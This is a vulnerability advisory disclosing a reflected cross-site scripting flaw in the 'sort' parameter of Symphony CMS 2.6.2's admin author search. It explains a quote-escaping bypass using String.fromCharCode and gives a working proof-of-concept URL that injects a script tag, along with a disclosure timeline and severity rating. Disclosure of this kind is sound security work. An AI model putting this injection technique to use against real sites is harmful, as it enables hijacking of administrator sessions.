[+] Credits: John Page ( hyp3rlinx )

[+] Domains: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/AS-SYMPHONY0606.txt



Vendor:
================================
www.getsymphony.com/download/


Product:
================================
Symphony CMS 2.6.2


Advisory Information:
================================================
Symphony CMS XSS Vulnerability

CVE-2015-4661



Vulnerability Details:
=====================
The 'sort' parameter used by author search in Admin is XSS exploitable. Symphony seems to escape injected strings
e.g. 'HELL' becomes \'HELL\' but we can easily defeat that using Javascript functions charCodeAt() & fromCharCode()

e.g. 
String.fromCharCode(72,69,76,76)

Now we can output our 'HELL' strings, construct URLs etc... 


Exploit XSS code(s):
====================

http://localhost/symphony-2.6.2/symphony/system/authors/?sort=</h1><script>alert(String.fromCharCode(72,69,76,76))</script><h1>&order=asc
  

Disclosure Timeline:
=========================================================


Vendor Notification: June 5, 2015
June 6, : Public Disclosure



Severity Level:
=========================================================
Med



Description:
==========================================================

Request Method(s):
                                [+]  GET

Vulnerable Product:
                                [+]  Symphony CMS 2.6.2

Vulnerable Parameter(s):
                                [+]  sort

Affected Area(s):
                                [+]  symphony/system/authors/

===============================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.



(hyp3rlinx)